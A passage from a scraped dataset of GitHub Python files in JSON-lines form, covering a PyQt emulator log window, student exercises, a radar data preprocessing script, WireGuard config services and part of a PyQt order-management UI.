self.out:\n self.out.write(msg)\n if self.logview:\n self.logview.msg_written.emit(msg)\n\n\nclass LogView(QDialog, Ui_LogView):\n msg_written = pyqtSignal(str)\n\n def __init__(self, parent=None):\n QDialog.__init__(self, parent)\n self.setupUi(self)\n self.textEdit.setReadOnly(True)\n self.msg_written.connect(self.on_msg_written)\n\n def on_msg_written(self, msg):\n self.textEdit.moveCursor(QTextCursor.End)\n self.textEdit.insertPlainText(msg)\n\n\nclass Logger():\n def __init__(self):\n log_format = 'Frontend: %(levelname)s: %(message)s'\n logging.basicConfig(level=logging.DEBUG, format=log_format)\n self.logger = logging.getLogger('frontend')\n\nlogview = LogView()\nsys.stderr = Log(sys.stderr, logview)\nlog = Logger().logger\n","repo_name":"mupen64plus/mupen64plus-ui-python","sub_path":"src/m64py/frontend/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"50"} +{"seq_id":"70193967194","text":"from lib.bind_util import open_bind_dialog\nfrom lib.sorter import open_sorting_window\nfrom lib.datatypes import DuplicateMode, InstanceConfig, SieveMode # remove after completion to mask details from user\nimport sys\n\nresult = open_bind_dialog()\n\nresult = InstanceConfig(\n sieve_mode=SieveMode.COPY,\n duplicate_mode=DuplicateMode.MAINTAIN,\n source=\"example/source/\",\n dest={\n \"a\": \"example/dest1/\",\n \"b\": \"example/dest2/\",\n \"c\": \"example/dest3/\"\n }\n )\n\nif not result:\n print(\"Configuration object not found. Quitting...\")\n sys.exit()\n\nprint(\"Beginning the sieving process\")\n\nopen_sorting_window(result)\n\nprint(\"Done. Thanks for using visieve!\")","repo_name":"jolitti/visieve","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35544827361","text":"\r\nclass bank:\r\n def __init__(self,balance):\r\n self.balance = balance\r\n self.min_withdraw = 100\r\n self.max_withdraw = 10000\r\n\r\n def deposite(self,amount):\r\n self.balance = self.balance + amount\r\n \r\n def get_balance(self):\r\n return self.balance\r\n\r\n def withdraw(self,amount):\r\n if amount <100:\r\n return f'No money for you, Minimu withdraw : {self.min_withdraw}'\r\n elif amount > 10000:\r\n return f'You crossed max limit: {self.max_withdraw}'\r\n elif amount > self.balance:\r\n return 'You are broke!!! No money for you.'\r\n else:\r\n self.balance = self.balance - amount\r\n return f'Here is your money: {amount}'\r\n\r\nmy_bank = bank(8000)\r\nreply1 = my_bank.withdraw(50)\r\nprint(reply1)\r\n\r\nreply2 = my_bank.withdraw(10010)\r\nprint(reply2)\r\n\r\nreply3 = my_bank.withdraw(9000)\r\nprint(reply3)\r\n\r\nreply4 = my_bank.withdraw(5000)\r\nprint(reply4)\r\n\r\nbalance = my_bank.get_balance()\r\nprint(\"Your remaining balance is : \",balance)\r\n\r\ndepo = my_bank.deposite(8000)\r\nbalance = my_bank.get_balance()\r\nprint(\"After deposite balance is : \",balance)","repo_name":"Masum-SM/Python-Basic-OOP-Machine_Learning","sub_path":"OOP/Application/bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13777731953","text":"# Spreadsheet\nr, c = map(int, input().split())\ncells = [[0 for _ in range(c)] for _ in range(r + 1)]\n\nfor i in range(r):\n numbers = list(map(int, input().split()))\n cells[i] = numbers\n cells[i].append(sum(numbers))\n\nfor i in range(r + 1):\n for j in range(c):\n if i != r:\n cells[r][j] += cells[i][j]\n\n if i == r:\n total = sum(cells[i])\n print(' '.join(map(str, cells[i])), total)\n else:\n print(' '.join(map(str, cells[i])))\n","repo_name":"ryu-0729/AtCoder-Beginners-Selection","sub_path":"AimingForBrownCoders/c_spreadsheet27 2.py","file_name":"c_spreadsheet27 2.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72566702876","text":"# ------------------------------------------------------------------------ #\n# Title: Assignment 08\n# Description: Working with classes\n\n# ChangeLog (Who,When,What):\n# RRoot,1.1.2030,Created started script\n# RRoot,1.1.2030,Added pseudo-code to start assignment 8\n# dBrady,2.22.2021,Modified code to complete assignment 8\n# ------------------------------------------------------------------------ #\n\n# Data -------------------------------------------------------------------- #\nstrFileName = 'products.txt'\nlstOfProductObjects = []\n\n\nclass Product(object):\n def __init__(self, name, price):\n self.product_name = name\n self.product_price = price\n\n def info(self):\n return self.product_name, self.product_price\n\n\n# Processing ------------------------------------------------------------- #\nclass FileProcessor:\n pass\n\n # TODO: Add Code to process data from a file\n @staticmethod\n def ReadFileDataToString(file_name: str, lstOfProductObjects):\n \"\"\" reads data from file\"\"\"\n # lstOfProductObjects = []\n try:\n f = open(file_name, 'r')\n for line in f:\n name, price = line.split(\",\")\n row = {\"name\": name.strip(), \"price\": price.strip()}\n lstOfProductObjects.append(row)\n f.close()\n except Exception as e:\n print(\"A general error occured.\")\n return lstOfProductObjects\n\n @staticmethod\n def WriteDataToFile(file_name, lstOfProductObjects):\n \"\"\" save data to file\n :param file_name:\n :param list_objects:\n :return:\n \"\"\"\n f = open(file_name, 'w')\n for row in lstOfProductObjects:\n f.write(row[\"name\"] + ', ' + row[\"price\"] + '\\n')\n f.close()\n\n\n# Presentation (Input/Output) -------------------------------------------- #\nclass IO(object):\n @staticmethod\n def print_menu_Products():\n print('''\n (1) Add a new Product\n (2) Save Data to File \n (3) Exit Program\n ''')\n\n @staticmethod\n def input_menu_choice():\n choice = str(input(\"Enter your selection: \")).strip()\n return choice\n\n @staticmethod\n def show_data(lstOfProductObjects):\n \"\"\" Displays data\"\"\"\n for row in lstOfProductObjects:\n print(row[\"name\"] + \" (\" + row[\"price\"] + \")\")\n\n @staticmethod\n def input_data():\n item = str(input(\"Item name: \")).strip()\n price = str(input(\"Item price: \")).strip()\n return item, price\n\n\n# Main Body of Script ---------------------------------------------------- #\n\nf = FileProcessor()\nlstOfProductObjects = f.ReadFileDataToString(strFileName, lstOfProductObjects)\nIO.show_data(lstOfProductObjects) # Show current data in the list/table\n\nwhile (True):\n IO.print_menu_Products()\n choice = IO.input_menu_choice()\n if str(choice) == \"1\":\n name, price = IO.input_data()\n row = {\"name\": name, \"price\": price}\n lstOfProductObjects.append(row)\n IO.show_data(lstOfProductObjects)\n continue # to show the menu\n elif str(choice) == \"2\":\n f.WriteDataToFile(strFileName, lstOfProductObjects)\n elif str(choice) == \"3\":\n input(\"\\nPress Enter to Exit: \")\n break\n","repo_name":"D500844/GitAssignments","sub_path":"Assignment08/Assignment08.py","file_name":"Assignment08.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32785925733","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 9 11:26:28 2020\n\n@author: varis\n\"\"\"\n\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 8 15:06:33 2020\n\n@author: cmg\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#import active_subspaces as as \nfrom astars.stars_sim import Stars_sim\nfrom astars.utils.misc import subspace_dist,find_active\n\nmag = 1E4\ndim = 20\n#weights = np.random.randn(10)\nweights=np.ones(dim)\ntrue_as = weights / np.linalg.norm(weights)\nprint('True active subspaces',true_as)\n\ndef toy_f(x,var=1E-2):\n if x.ndim > 1:\n return np.sum(x,axis = 1)**2+ var*np.random.randn(1)\n else:\n return np.sum(x)**2 + var * np.random.randn(1)\n \n\ninit_pt = np.random.randn(dim)\nimport active_subspaces as ss\n\nsub_sp = ss.subspaces.Subspaces()\ntrain_size = (dim+2)*(dim+1)//2\nprint(train_size)\n\ntrain_set = np.random.randn(train_size,dim)\nfor loop in range(7):\n if loop != 0: #append new data\n new_pts = np.random.randn(train_size,dim)\n train_set = np.vstack((train_set,new_pts))\n print('training data size',train_set.shape)\n #train active subspace\n f_data = toy_f(train_set)\n print('data size', f_data.shape)\n #don't normalize \n sub_sp.compute(X=train_set,f=f_data,sstype='QPHD')\n #usual threshold\n adim = find_active(sub_sp.eigenvals,sub_sp.eigenvecs)\n print('Subspace Distance',subspace_dist(true_as,sub_sp.eigenvecs[:,0:adim]))\n \n \ntest = Stars_sim(toy_f, init_pt, L1 = 2.0, var = 1E-4, verbose = False, maxit = train_size*3)\ntest.STARS_only = True\ntest.get_mu_star()\ntest.get_h()\n# do 100 steps\nwhile test.iter < test.maxit:\n test.step()\n if test.iter > (dim+2)*(dim+1)//4:\n #compute active subspace\n train_x = np.hstack((test.xhist[:,0:test.iter+1],test.yhist[:,0:test.iter]))\n train_f = np.hstack((test.fhist[0:test.iter+1],test.ghist[0:test.iter]))\n train_x = train_x.T\n sub_sp.compute(X=train_x,f=train_f,sstype='QPHD')\n adim = find_active(sub_sp.eigenvals,sub_sp.eigenvecs)\n print('Subspace Distance',subspace_dist(true_as,sub_sp.eigenvecs[:,0:adim]))\n \n \n \n","repo_name":"variscarey/ASTARS","sub_path":"paper_examples/random_versus_stars.py","file_name":"random_versus_stars.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"10708745923","text":"# Tool to prepare radar data from Oxford RobotCar dataset.\n# Licensed under the Apache License\n\nimport argparse, tqdm, os\nimport numpy as np\nfrom transform import build_se3_transform\nfrom radar import load_radar, radar_polar_to_cartesian\nimport cv2\n\nRADAR_PATH = None\nRADAR_HISTORY_PATH = None\n\ndef main(args):\n timestamp_path = os.path.join(args.data_path, 'radar.timestamps')\n timestamp = np.loadtxt(timestamp_path)[:,0]\n\n radar_odometry_path = os.path.join(args.data_path, 'gt/radar_odometry.csv')\n radar_odometry = np.genfromtxt(radar_odometry_path, delimiter=',')[1:,np.r_[9,8,2:8]]\n\n num_history = 4\n num_frame = min(radar_odometry.shape[0], len(timestamp)-1)\n for i in tqdm.tqdm(range(num_history,num_frame)):\n invT = np.eye(4)\n for j in range(0,num_history+1):\n # Calculate tranform matrix\n if j > 0:\n frameXYZRPY = np.array([radar_odometry[i-j,2], radar_odometry[i-j,3], 0, 0, 0, radar_odometry[i-j,7]])\n frameT = build_se3_transform(frameXYZRPY)\n invT = frameT * invT\n T = np.linalg.inv(invT)[np.ix_([0,1,3], [0,1,3])]\n x0 = T[0,-1]\n y0 = T[1,-1]\n yaw0 = np.arctan2(T[1,0], T[0,0])\n x1 = radar_odometry[i-j,2]\n y1 = radar_odometry[i-j,3]\n yaw1 = radar_odometry[i-j,7]\n\n # Load raw polar radar image\n filename = os.path.join(args.data_path, 'radar', str(int(timestamp[i-j])) + '.png')\n\n if not os.path.isfile(filename):\n raise FileNotFoundError(\"Could not find radar example: {}\".format(filename))\n\n fine_timestamp, azimuths, valid, fft_data, radar_resolution = load_radar(filename)\n fine_timestamp = fine_timestamp.T[0]\n fine_timestamp = (fine_timestamp - timestamp[i-j]) / (fine_timestamp[-1] - timestamp[i-j])\n\n # Process polar radar image\n radar_image = radar_polar_to_cartesian(azimuths, fft_data, radar_resolution, args.resolution, args.image_size, \n True, fine_timestamp, x0, y0, yaw0, x1, y1, yaw1)\n radar_image = (radar_image * 255).astype(int)\n\n # Save caterisan radar image\n if j == 0:\n save_path = os.path.join(RADAR_PATH, str(int(timestamp[i])) + '.jpg')\n else:\n save_path = os.path.join(RADAR_HISTORY_PATH, str(int(timestamp[i])) + '_' + str(j) + '.jpg')\n cv2.imwrite(save_path, radar_image)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Prepare radar data from Oxford RobotCar radar dataset')\n parser.add_argument('--data_path', type=str, required=True, help='path to the data record folder')\n parser.add_argument('--image_size', type=int, default=320, help='cartesian image size (px)')\n parser.add_argument('--resolution', type=float, default=0.2, help='cartesian image resultion (m)')\n\n args = parser.parse_args()\n\n processed_path = os.path.join(args.data_path, 'processed')\n if not os.path.isdir(processed_path):\n os.mkdir(processed_path)\n\n RADAR_PATH = os.path.join(processed_path, 'radar')\n if not os.path.isdir(RADAR_PATH):\n os.mkdir(RADAR_PATH)\n\n RADAR_HISTORY_PATH = os.path.join(processed_path, 'radar_history')\n if not os.path.isdir(RADAR_HISTORY_PATH):\n os.mkdir(RADAR_HISTORY_PATH)\n\n main(args)","repo_name":"qiank10/MVDNet","sub_path":"data/sdk/prepare_radar_data.py","file_name":"prepare_radar_data.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"50"} +{"seq_id":"26657199207","text":"from io import BytesIO\n\nfrom django.core.mail import EmailMessage\nfrom django.template.loader import render_to_string\n\nfrom apps.utils.pywgtools.wgtools import pubkey\nfrom apps.wg_users.models import WireguardConfig\nfrom apps.wg_users.views import generate_qrcode\nfrom core import settings\n\n\ndef send_email(wg_user_uuid, email_sender):\n wireguard_config = WireguardConfig.objects.filter(wg_user_uuid=wg_user_uuid).first()\n if not wireguard_config:\n return {\"status\": \"error\", \"message\": \"Wireguard config not found\"}\n\n context = {\n \"config\": wireguard_config,\n }\n content = render_to_string(\"wg_users/wireguard-config.conf\", context)\n file_buffer = BytesIO(content.encode(\"utf-8\"))\n\n subject = f\"Wireguard config for {wireguard_config.name}\"\n message = f\"Wireguard config for {wireguard_config.name}\"\n email_from = settings.DEFAULT_FROM_EMAIL\n email_message = EmailMessage(subject, message, email_from, [email_sender])\n email_message.attach(f\"{wireguard_config.name}.conf\", file_buffer.getvalue(), \"application/octet-stream\")\n\n wg_user_qrcode = generate_qrcode(wg_user_uuid)\n email_message.attach(f\"{wireguard_config.name}.png\", wg_user_qrcode.getvalue(), \"image/png\")\n\n email_message.send()\n\n return {\"status\": \"ok\"}\n\n\ndef parse_wireguard_config(file_content):\n config = {}\n\n for line in file_content.splitlines():\n\n if '=' in line.strip():\n key, value = line.split('=', 1)\n key = key.strip()\n value = value.strip()\n\n config[key] = value\n\n errors = validate_wireguard_config(config)\n\n if errors:\n raise ValueError(errors)\n\n config[\"public_key\"] = get_pubkey_by_private_key(config[\"PrivateKey\"])\n return config\n\n\ndef validate_wireguard_config(config):\n errors = []\n\n if \"Address\" not in config:\n errors.append(\"Address not found\")\n\n if \"PrivateKey\" not in config:\n errors.append(\"PrivateKey not found\")\n\n if \"Endpoint\" not in config:\n errors.append(\"Endpoint not found\")\n\n if \"PublicKey\" not in config:\n errors.append(\"PublicKey not found\")\n\n return errors\n\n\ndef get_pubkey_by_private_key(private_key):\n return pubkey(private_key)\n\n\ndef create_or_update_wireguard_config(config):\n wireguard_config = WireguardConfig.objects.filter(wg_user_uuid=config[\"wg_user_uuid\"]).first()\n if wireguard_config:\n wireguard_config.name = config[\"name\"]\n wireguard_config.address = config[\"address\"]\n wireguard_config.private_key = config[\"private_key\"]\n wireguard_config.public_key = config[\"public_key\"]\n wireguard_config.server_public_key = config[\"server_public_key\"]\n wireguard_config.server_endpoint = config[\"server_endpoint\"]\n wireguard_config.server_endpoint_port = config[\"server_endpoint_port\"]\n wireguard_config.server_allowed_ips = config[\"server_allowed_ips\"]\n wireguard_config.persistent_keepalive = config[\"persistent_keepalive\"]\n wireguard_config.dns = config[\"dns\"]\n else:\n wireguard_config = WireguardConfig.objects.create(\n wg_user_uuid=config[\"wg_user_uuid\"],\n name=config[\"name\"],\n address=config[\"address\"],\n private_key=config[\"private_key\"],\n public_key=config[\"public_key\"],\n server_public_key=config[\"server_public_key\"],\n server_endpoint=config[\"server_endpoint\"],\n server_endpoint_port=config[\"server_endpoint_port\"],\n server_allowed_ips=config[\"server_allowed_ips\"],\n persistent_keepalive=config[\"persistent_keepalive\"],\n dns=config[\"dns\"],\n )\n\n wireguard_config.save()\n","repo_name":"GiK986/opnsense-wg-um","sub_path":"src/apps/api/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"72104147036","text":"from PyQt5 import QtWidgets, QtCore, QtGui\nfrom PyQt5.QtWidgets import QMessageBox\nfrom PyQt5.QtWidgets import QFileDialog\nfrom functools import partial\nfrom _mainUI_2 import Ui_MainWindow\nimport boxUI_2\nimport zuohuoboxUI\nimport public\nimport tuozhongboxUI\n\n\nclass MainWindow_2(object):\n \"\"\"主窗口封装类\"\"\"\n\n def __init__(self):\n\n self.dialog = QtWidgets.QMainWindow()\n window = Ui_MainWindow()\n window.setupUi(self.dialog)\n #self.dialog.setWindowFlags(QtCore.Qt.WindowCloseButtonHint)\n self.dialog.setWindowFlags(QtCore.Qt.WindowCloseButtonHint | QtCore.Qt.WindowMinimizeButtonHint)\n #self.dialog.setWindowFlags(QtCore.Qt.WindowCloseButtonHint | QtCore.Qt.WindowMinMaxButtonsHint)\n\n icon = QtGui.QIcon()\n icon.addPixmap(\n QtGui.QPixmap(\"icon.ico\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.dialog.setWindowIcon(icon)\n\n self.clientLabel = window.clientLabel\n self.dateLabel = window.dateLabel\n self.huomingLabel = window.huomingLabel\n self.baolaijianshuLabel = window.baolaijianshuLabel\n self.yuanguihaoLabel = window.yuanguihaoLabel\n self.zhongweiLabel = window.zhongweiLabel\n self.jiweiLabel = window.jiweiLabel\n self.fangxiangriqiLabel = window.fangxiangriqiLabel\n self.zhongweiriqiLabel = window.zhongweiriqiLabel\n self.bangzhongLabel = window.bangzhongLabel\n self.shishoujianshuLabel = window.shishoujianshuLabel\n self.baozhuangLabel = window.baozhuangLabel\n self.jiedanriqiLabel = window.jiedanriqiLabel\n self.jiesuanzhuangtaiLabel = window.jiesuanzhuangtaiLabel\n self.notes1Label = window.notes1Label\n self.notes2Label = window.notes2Label\n self.notes3Label = window.notes3Label\n self.notes4Label = window.notes4Label\n\n self.newButtton = window.newButton\n self.actionAdd = window.actionAdd\n self.newButtton.clicked.connect(self.onAddStudent)\n self.actionAdd.triggered.connect(self.onAddStudent)\n\n self.searchEdit = window.searchEdit\n self.searchEdit.textChanged['QString'].connect(self.onQuickSearch)\n\n self.stackedWidget = window.stackedWidget\n\n self.editButton = window.editButton\n self.actionEdit = window.actionEdit\n self.editButton.clicked.connect(self.onEdit)\n self.actionEdit.triggered.connect(self.onEdit)\n\n self.deleteButton_2 = window.deleteButton_2\n self.actionDelete_2 = window.actionDelete_2\n self.deleteButton_2.clicked.connect(self.onDeleteZuohuo)\n #self.actionDelete_2.setShortcut(QtCore.Qt.Key_Z)\n self.actionDelete_2.triggered.connect(self.onDeleteZuohuo)\n\n self.deleteButton_3 = window.deleteButton_3\n self.actionDelete_3 = window.actionDelete_3\n self.deleteButton_3.clicked.connect(self.onDeleteTuozhong)\n #self.deleteButton_3.setShortcut(QtCore.Qt.Key_T)\n self.actionDelete_3.triggered.connect(self.onDeleteTuozhong)\n #做货按钮\n self.zuohuosettleButton = window.zuohuosettleButton\n self.actionzuohuoSettle = window.actionzuohuoSettle\n self.actionzuohuoDelete = window.actionzuohuoDelete\n self.zuohuosettleButton.clicked.connect(self.zuohuoSettle)\n self.actionzuohuoSettle.triggered.connect(self.zuohuoSettle)\n self.actionzuohuoDelete.triggered.connect(self.onDeleteZuohuo)\n self.actionzuohuoDelete.setShortcut(QtCore.Qt.Key_Z)\n #拖重按钮\n self.tuozhongsettleButton = window.tuozhongsettleButton\n self.actiontuozhongSettle = window.actiontuozhongSettle\n self.actiontuozhongDelete = window.actiontuozhongDelete\n self.tuozhongsettleButton.clicked.connect(self.tuozhongSettle)\n self.actiontuozhongSettle.triggered.connect(self.tuozhongSettle)\n self.actiontuozhongDelete.triggered.connect(self.onDeleteTuozhong)\n self.actiontuozhongDelete.setShortcut(QtCore.Qt.Key_T)\n self.studentTable = window.studentTable\n self.tableList = [] # Student\n self.tableIndex = {} # Student -> Item\n self.studentTable.itemSelectionChanged.connect(self.onSelectStudent)\n self.studentTable.activated.connect(self.onEdit)\n\n #做货table\n self.zuohuoTable = window.zuohuoTable\n self.zuohuotableList = [] # Student\n self.zuohuotableIndex = {} # Student -> Item\n self.zuohuoTable.itemSelectionChanged.connect(self.onSelectZuohuo)\n self.zuohuoTable.activated.connect(self.zuohuoonEdit)\n\n #拖重table\n self.tuozhongTable = window.tuozhongTable\n self.tuozhongtableList = [] # Student\n self.tuozhongtableIndex = {} # Student -> Item\n self.tuozhongTable.itemSelectionChanged.connect(self.onSelectTuozhong)\n self.tuozhongTable.activated.connect(self.tuozhongonEdit)\n\n # 视图\n self.viewMenu = window.viewMenu\n from student import attributeList as attrs\n for i in range(0, len(attrs)):\n action = QtWidgets.QAction(attrs[i][1], self.dialog)\n action.setCheckable(True)\n action.setChecked(True)\n self.viewMenu.addAction(action)\n action.triggered.connect(partial(self.onSetView, i))\n\n self.searchMode = 0 # 0不搜索 1快速搜索 2高级搜索\n\n window.exportSelected.triggered.connect(partial(self.onExport, True))\n window.exportAll.triggered.connect(partial(self.onExport, False))\n\n self.dialog.closeEvent = self.onQuit\n window.actionSave.triggered.connect(public.studentManager.save)\n window.actionSaveAs.triggered.connect(self.onSaveAs)\n\n window.actionExit.triggered.connect(self.dialog.close)\n window.actionUrl.triggered.connect(self.onVisitWeb)\n window.actionAbout.triggered.connect(self.onAbout)\n\n window.searchBox.currentTextChanged['QString'].connect(self.onSearchBy)\n window.searchBox_2.currentTextChanged['QString'].connect(self.onSearchDate)\n window.dateComboBox.currentTextChanged['QString'].connect(self.onSearchDate_2)\n window.pageComboBox.currentTextChanged['QString'].connect(self.onQuickSearch2)\n\n self.searchDate_1 = window.searchDate_1\n self.searchDate_1.dateChanged.connect(self.onstartDateChange)\n self.searchDate_2 = window.searchDate_2\n self.searchDate_2.dateChanged.connect(self.onendDateChange)\n\n self.searchDate_3 = window.searchDate_3\n self.searchDate_3.dateChanged.connect(self.onDateChange)\n\n self.pageComboBox = window.pageComboBox\n\n self.quickSearchDate = \"不限日期\"\n self.quickSearchDate2 = window.dateComboBox.currentText()\n self.onSearchBy(\"序號\")\n self.zuohuotableShow(public.zuohuoManager.zuohuolist())\n self.tuozhongtableShow(public.tuozhongManager.tuozhonglist())\n\n\n def onAbout(self):\n import version\n QMessageBox.information(QtWidgets.QDialog(), \"關於\", '\\n'.join([\n \"輝騰訂單管理系统 Build %03d\" % version.build,\n \"Jeremy作品@galaxy24@github\\n\",\n \"本作品仅供輝騰内部使用!\"\n ]))\n\n def onVisitWeb(self):\n import webbrowser\n webbrowser.open(\"https://github.com/galaxy24/erpsystem\")\n\n def onSaveAs(self):\n path, ok = QFileDialog.getSaveFileName(\n self.dialog, \"另存報表\", \"C:/\", \"報表文件(*.stu)\")\n if not path:\n return\n public.studentManager.save(path)\n public.zuohuoManager.save(path)\n public.tuozhongManager.save(path)\n\n def onExport(self, part):\n name = \"导出选中報單...\" if part else \"导出所有報單...\"\n path, ok = QFileDialog.getSaveFileName(\n self.dialog, name, \"%userprofile%\\報單匯總表\", \"Excel表格(*.xls)\")\n if not path:\n return\n studentList = self.tableList.copy() if part else None\n public.studentManager.exportAsExcel(path, studentList)\n\n def onSetView(self, index, checked):\n self.studentTable.setColumnHidden(index, not checked)\n\n def onQuit(self, _):\n public.studentManager.save()\n public.zuohuoManager.save()\n public.tuozhongManager.save()\n\n def onSearchDate(self, searchDate):\n from student import attributeList as attrs\n self.quickSearchDate = searchDate\n for attr, translate in attrs:\n if searchDate == translate:\n self.quickSearchDate = attr\n self.onQuickSearch()\n\n def onSearchDate_2(self, searchDate2):\n self.quickSearchDate2 = searchDate2\n self.onQuickSearch2()\n\n def onstartDateChange(self, startdate):\n dayback = self.searchDate_2.date()\n diff_day = startdate.daysTo(dayback)\n if diff_day < 0:\n self.searchDate_2.setDate(startdate)\n self.onQuickSearch()\n\n def onendDateChange(self, enddate):\n dayup = self.searchDate_1.date()\n diff_day = enddate.daysTo(dayup)\n if diff_day > 0:\n self.searchDate_1.setDate(enddate)\n self.onQuickSearch()\n\n def onDateChange(self, date):\n day = self.searchDate_3.date()\n self.searchDate_3.setDate(day)\n self.onQuickSearch2()\n\n def onSearchBy(self, searchBy):\n from student import attributeList as attrs\n self.quickSearchBy = searchBy\n for attr, translate in attrs:\n if searchBy == translate:\n self.quickSearchBy = attr\n self.onQuickSearch()\n\n def onQuickSearch(self):\n key = self.searchEdit.text()\n if self.quickSearchBy == '櫃號':\n result = public.studentManager.searchtest(self.searchDate_1.date(),\n self.searchDate_2.date(),\n self.quickSearchDate, key)\n else:\n key = ' '.join(key.split())\n result = public.studentManager.search(self.searchDate_1.date(),\n self.searchDate_2.date(),\n self.quickSearchDate,\n self.quickSearchBy, key)\n self.tableShow(result)\n\n def onQuickSearch2(self):\n key = self.pageComboBox.currentText()\n if key == '做貨工作單':\n result = public.zuohuoManager.search(self.searchDate_3.date(), self.quickSearchDate2)\n self.zuohuotableShow(result)\n elif key == '拖重工作單':\n result = public.tuozhongManager.search(self.searchDate_3.date(), self.quickSearchDate2)\n self.tuozhongtableShow(result)\n\n def onSearch(self):\n def _onSaerch(keyList):\n result = public.studentManager.multiSearch(keyList)\n self.tableShow(result)\n self._saerchBox = boxUI_2.SearchBox(_onSaerch)\n self._saerchBox.show()\n def onAddStudent(self):\n def _onAddStudent(_student):\n student = _student.copy()\n public.studentManager.add(student)\n self.tableSet(student)\n self._newBox = boxUI_2.NewBox(_onAddStudent)\n self._newBox.indexEdit.setText(str(len(self.tableIndex) + 1))\n self._newBox.show()\n\n def onEdit(self):\n self.stackedWidget.setCurrentIndex(0)\n student = self.selection\n if not student:\n return\n\n def _onEdit(_student):\n if _student.index != student.index:\n public.studentManager.delete(student)\n _student.copyTo(student)\n public.studentManager.add(student)\n else:\n _student.copyTo(student)\n if student in self.tableIndex:\n self.tableSet(student, self.tableIndex[student])\n self._editBox = boxUI_2.EditBox(student, _onEdit)\n self._editBox.show()\n\n def setStudentInfo(self, student=None):\n student = student or public.studentManager.emptyStudent\n self.clientLabel.setText(student.client)\n self.dateLabel.setText(student.date)\n self.huomingLabel.setText(student.huoming)\n self.baolaijianshuLabel.setText(student.baolaijianshu)\n self.yuanguihaoLabel.setText(student.yuanguihao)\n self.zhongweiLabel.setText(student.zhongwei)\n self.jiweiLabel.setText(student.jiwei)\n self.fangxiangriqiLabel.setText(student.fangxiangriqi)\n self.zhongweiriqiLabel.setText(student.zhongweiriqi)\n self.bangzhongLabel.setText(student.bangzhong)\n self.shishoujianshuLabel.setText(student.shishoujianshu)\n self.baozhuangLabel.setText(student.baozhuang)\n self.jiedanriqiLabel.setText(student.jiedanriqi)\n self.jiesuanzhuangtaiLabel.setText(student.jiesuanzhuangtai)\n self.notes1Label.setText(student.notes1)\n self.notes2Label.setText(student.notes2)\n self.notes3Label.setText(student.notes3)\n self.notes4Label.setText(student.notes4)\n\n def show(self):\n self.dialog.show()\n\n def tableShow(self, studentList):\n self.tableClear()\n for student in studentList:\n self.tableAdd(student)\n self.onSelectStudent()\n\n def tableAdd(self, student):\n item = QtWidgets.QTreeWidgetItem(self.studentTable)\n self.tableSet(student, item)\n self.tableList.append(student)\n self.tableIndex[student] = item\n\n def tableSet(self, student, item=None):\n if item:\n item.setText(0, student.index)\n item.setText(1, student.client)\n item.setText(2, str(student.date))\n if str(student.jiedanriqi) == '01/01/2000':\n item.setText(3, '')\n else:\n item.setText(3, str(student.jiedanriqi))\n item.setText(4, student.jiesuanzhuangtai)\n item.setText(5, student.yuanguihao)\n item.setText(6, student.zhongwei)\n item.setText(7, student.jiwei)\n\n if str(student.fangxiangriqi) == '01/01/2000':\n item.setText(8, '')\n else:\n item.setText(8, str(student.fangxiangriqi))\n if str(student.zhongweiriqi) == '01/01/2000':\n item.setText(9, '')\n else:\n item.setText(9, str(student.zhongweiriqi))\n item.setText(10, student.notes2)\n item.setText(11, student.notes3)\n item.setText(12, student.notes4)\n item.setText(13, student.notes1)\n item.setText(14, student.fuhuo)\n item.setText(15, student.huoming)\n item.setText(16, student.jingzhong)\n item.setText(17, student.maozhong)\n item.setText(18, student.baolaijianshu)\n item.setText(19, student.jianzhong)\n item.setText(20, student.bangzhong)\n item.setText(21, student.shishoujianshu)\n item.setText(22, student.baozhuang)\n\n if str(student.guoguiriqi1) == '01/01/2000':\n item.setText(23, '')\n else:\n item.setText(23, str(student.guoguiriqi1))\n item.setText(24, student.guoguiguihao1)\n if str(student.guoguiriqi2) == '01/01/2000':\n item.setText(25, '')\n else:\n item.setText(25, str(student.guoguiriqi2))\n item.setText(26, student.guoguiguihao2)\n if str(student.guoguiriqi3) == '01/01/2000':\n item.setText(27, '')\n else:\n item.setText(27, str(student.guoguiriqi3))\n item.setText(28, student.guoguiguihao3)\n if str(student.guoguiriqi4) == '01/01/2000':\n item.setText(29, '')\n else:\n item.setText(29, str(student.guoguiriqi4))\n item.setText(30, student.chukouguihao)\n\n if str(student.chuhuoriqi1) == '01/01/2000':\n item.setText(31, '')\n else:\n item.setText(31, str(student.chuhuoriqi1))\n item.setText(32, student.chuhuojianshu1)\n item.setText(33, student.chuhuoguihao1)\n if str(student.chuhuoriqi2) == '01/01/2000':\n item.setText(34, '')\n else:\n item.setText(34, str(student.chuhuoriqi2))\n item.setText(35, student.chuhuojianshu2)\n item.setText(36, student.chuhuoguihao2)\n if str(student.chuhuoriqi3) == '01/01/2000':\n item.setText(37, '')\n else:\n item.setText(37, str(student.chuhuoriqi3))\n item.setText(38, student.chuhuojianshu3)\n item.setText(39, student.chuhuoguihao3)\n if str(student.chuhuoriqi4) == '01/01/2000':\n item.setText(40, '')\n else:\n item.setText(40, str(student.chuhuoriqi4))\n 